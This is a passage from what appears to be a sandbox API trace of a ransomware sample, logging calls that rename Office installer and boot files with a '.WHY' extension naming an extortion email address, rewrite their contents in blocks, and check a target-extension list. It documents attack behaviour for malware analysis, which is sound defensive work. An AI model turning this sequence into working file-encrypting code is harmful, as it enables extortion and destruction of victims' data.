lpNewFilePointer=0xffffffff) returned 1 [0071.669] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x27ba00, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0071.669] ReadFile (in: hFile=0x140, lpBuffer=0x3b00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b00058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0071.701] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0072.044] WriteFile (in: hFile=0x140, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x314fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x314fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0072.514] SetEndOfFile (hFile=0x140) returned 1 [0072.515] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x40000) returned 0x4032068 [0072.515] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0072.515] WriteFile (in: hFile=0x140, lpBuffer=0x4032068*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x4032068*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0072.520] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xe9355, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0072.520] WriteFile (in: hFile=0x140, lpBuffer=0x4032068*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x4032068*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0072.947] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x27ba00, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0072.947] WriteFile (in: hFile=0x140, lpBuffer=0x4032068*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x4032068*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0072.954] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4032068 | out: hHeap=0x4c0000) returned 1 [0073.033] CloseHandle (hObject=0x140) returned 1 [0074.315] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x2020) returned 1 [0074.316] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0074.316] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0074.316] lstrlenW (lpString=".doc") returned 4 [0074.316] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0074.316] lstrlenW (lpString=".docx") returned 5 [0074.316] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0074.316] lstrlenW (lpString=".pdf") returned 4 [0074.317] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0074.317] lstrlenW (lpString=".xls") returned 4 [0074.317] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0074.317] lstrlenW (lpString=".xlsx") returned 5 [0074.317] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0074.317] lstrlenW (lpString=".ppt") returned 4 [0074.317] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0074.317] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0074.317] lstrlenW (lpString=".zip") returned 4 [0074.317] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0074.317] lstrlenW (lpString=".rar") returned 4 [0074.317] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0074.317] lstrlenW (lpString=".bz2") returned 4 [0074.318] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0074.318] lstrlenW (lpString=".7z") returned 3 [0074.318] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0074.318] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0074.318] lstrlenW (lpString=".dbf") returned 4 [0074.318] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0074.318] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0074.318] lstrlenW (lpString=".1cd") returned 4 [0074.318] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0074.318] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0074.318] lstrlenW (lpString=".jpg") returned 4 [0074.318] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0074.319] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0074.319] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0074.319] lstrlenW (lpString=".doc") returned 4 [0074.319] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0074.319] lstrlenW (lpString=".docx") returned 5 [0074.319] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0074.319] lstrlenW (lpString=".pdf") returned 4 [0074.319] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0074.319] lstrlenW (lpString=".xls") returned 4 [0074.319] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0074.319] lstrlenW (lpString=".xlsx") returned 5 [0074.319] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0074.319] lstrlenW (lpString=".ppt") returned 4 [0074.319] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0074.320] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0074.320] lstrlenW (lpString=".zip") returned 4 [0074.320] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0074.320] lstrlenW (lpString=".rar") returned 4 [0074.320] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0074.320] lstrlenW (lpString=".bz2") returned 4 [0074.320] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0074.320] lstrlenW (lpString=".7z") returned 3 [0074.320] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0074.320] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0074.320] lstrlenW (lpString=".dbf") returned 4 [0074.320] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0074.320] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0074.321] lstrlenW (lpString=".1cd") returned 4 [0074.321] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0074.321] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0074.321] lstrlenW (lpString=".jpg") returned 4 [0074.321] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0074.321] lstrcmpiW (lpString1=".msi", lpString2=".WHY") returned -1 [0074.322] lstrlenW (lpString="WordMUI.msi") returned 11 [0074.322] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x140 [0074.322] GetFileSizeEx (in: hFile=0x140, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=2522624) returned 1 [0074.323] CloseHandle (hObject=0x140) returned 1 [0074.323] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi")) returned 0x2020 [0074.323] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0074.323] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 1 [0074.325] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x140 [0074.326] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc6c | out: lpNewFilePointer=0x0) returned 1 [0074.326] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0074.326] ReadFile (in: hFile=0x140, lpBuffer=0x3a80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a80058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0074.608] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xcd4aa, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0074.608] ReadFile (in: hFile=0x140, lpBuffer=0x3ac0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ac0058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0074.723] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x314fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0074.723] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x227e00, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0074.723] ReadFile (in: hFile=0x140, lpBuffer=0x3b00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b00058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0075.589] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0075.589] WriteFile (in: hFile=0x140, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x314fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x314fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0076.049] SetEndOfFile (hFile=0x140) returned 1 [0076.049] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x40000) returned 0x40f6090 [0076.336] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0076.336] WriteFile (in: hFile=0x140, lpBuffer=0x40f6090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x40f6090*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0076.343] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xcd4aa, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0076.343] WriteFile (in: hFile=0x140, lpBuffer=0x40f6090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x40f6090*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0076.405] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x227e00, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0076.405] WriteFile (in: hFile=0x140, lpBuffer=0x40f6090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x40f6090*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0076.434] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x40f6090 | out: hHeap=0x4c0000) returned 1 [0076.434] CloseHandle (hObject=0x140) returned 1 [0078.000] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x2020) returned 1 [0078.000] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0078.000] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0078.000] lstrlenW (lpString=".doc") returned 4 [0078.001] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0078.001] lstrlenW (lpString=".docx") returned 5 [0078.001] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0078.001] lstrlenW (lpString=".pdf") returned 4 [0078.001] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0078.001] lstrlenW (lpString=".xls") returned 4 [0078.001] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0078.001] lstrlenW (lpString=".xlsx") returned 5 [0078.001] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0078.001] lstrlenW (lpString=".ppt") returned 4 [0078.001] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0078.001] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0078.001] lstrlenW (lpString=".zip") returned 4 [0078.001] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0078.002] lstrlenW (lpString=".rar") returned 4 [0078.002] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0078.002] lstrlenW (lpString=".bz2") returned 4 [0078.002] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0078.002] lstrlenW (lpString=".7z") returned 3 [0078.002] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0078.002] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0078.002] lstrlenW (lpString=".dbf") returned 4 [0078.002] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0078.002] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0078.002] lstrlenW (lpString=".1cd") returned 4 [0078.002] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0078.003] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0078.003] lstrlenW (lpString=".jpg") returned 4 [0078.003] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0078.003] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0078.003] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0078.003] lstrlenW (lpString=".doc") returned 4 [0078.003] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0078.003] lstrlenW (lpString=".docx") returned 5 [0078.004] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0078.004] lstrlenW (lpString=".pdf") returned 4 [0078.004] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0078.004] lstrlenW (lpString=".xls") returned 4 [0078.004] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0078.004] lstrlenW (lpString=".xlsx") returned 5 [0078.004] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0078.004] lstrlenW (lpString=".ppt") returned 4 [0078.004] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0078.004] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0078.004] lstrlenW (lpString=".zip") returned 4 [0078.004] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0078.004] lstrlenW (lpString=".rar") returned 4 [0078.004] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0078.004] lstrlenW (lpString=".bz2") returned 4 [0078.004] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0078.005] lstrlenW (lpString=".7z") returned 3 [0078.005] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0078.005] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0078.005] lstrlenW (lpString=".dbf") returned 4 [0078.005] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0078.005] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0078.005] lstrlenW (lpString=".1cd") returned 4 [0078.005] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0078.005] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0078.005] lstrlenW (lpString=".jpg") returned 4 [0078.005] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0078.006] lstrcmpiW (lpString1=".cab", lpString2=".WHY") returned -1 [0078.006] lstrlenW (lpString="Proof.cab") returned 9 [0078.006] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x140 [0078.007] GetFileSizeEx (in: hFile=0x140, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=11482605) returned 1 [0078.007] CloseHandle (hObject=0x140) returned 1 [0078.007] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab")) returned 0x2020 [0078.007] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0078.007] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 1 [0078.339] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x140 [0078.339] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc6c | out: lpNewFilePointer=0x0) returned 1 [0078.340] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0078.340] ReadFile (in: hFile=0x140, lpBuffer=0x3a80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a80058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0078.357] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x3a674f, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0078.357] ReadFile (in: hFile=0x140, lpBuffer=0x3ac0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ac0058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0078.370] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x314fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0078.371] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xab35ed, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0078.371] ReadFile (in: hFile=0x140, lpBuffer=0x3b00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b00058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0079.880] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0079.881] WriteFile (in: hFile=0x140, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x314fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x314fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0080.285] SetEndOfFile (hFile=0x140) returned 1 [0080.286] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x40000) returned 0x40e6088 [0080.657] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0080.657] WriteFile (in: hFile=0x140, lpBuffer=0x40e6088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x40e6088*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0080.661] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x3a674f, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0080.661] WriteFile (in: hFile=0x140, lpBuffer=0x40e6088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x40e6088*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0080.668] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xab35ed, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0080.668] WriteFile (in: hFile=0x140, lpBuffer=0x40e6088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x40e6088*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0080.679] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x40e6088 | out: hHeap=0x4c0000) returned 1 [0080.679] CloseHandle (hObject=0x140) Thread: id = 16 os_tid = 0x82c [0059.224] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10000) returned 0x3644280 [0059.225] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10000) returned 0x3654288 [0059.226] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x5604a8 [0059.226] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x6) returned 0x514348 [0059.226] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x5604c0 [0059.226] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x100000) returned 0x3b90020 [0059.227] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x5604d8 [0059.227] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x5604d8, Size=0x20) returned 0x5149b0 [0059.227] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x5604d8 [0059.227] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x5604d8, Size=0x20) returned 0x514988 [0059.227] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0059.227] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0059.227] Wow64DisableWow64FsRedirection (in: OldValue=0x339ff58 | out: OldValue=0x339ff58*=0x0) returned 1 [0059.227] lstrlenW (lpString="kernel32.dll") returned 12 [0059.227] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x5149b0 | out: hHeap=0x4c0000) returned 1 [0059.228] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0059.228] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x514988 | out: hHeap=0x4c0000) returned 1 [0059.228] Sleep (dwMilliseconds=0x64) [0059.518] Sleep (dwMilliseconds=0x64) [0059.944] lstrcmpiW (lpString1=".mui", lpString2=".WHY") returned -1 [0059.944] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0059.944] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0059.945] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x339ff1c | out: lpFileSize=0x339ff1c*=89168) returned 1 [0059.945] CloseHandle (hObject=0x1a4) returned 1 [0059.946] GetFileAttributesW 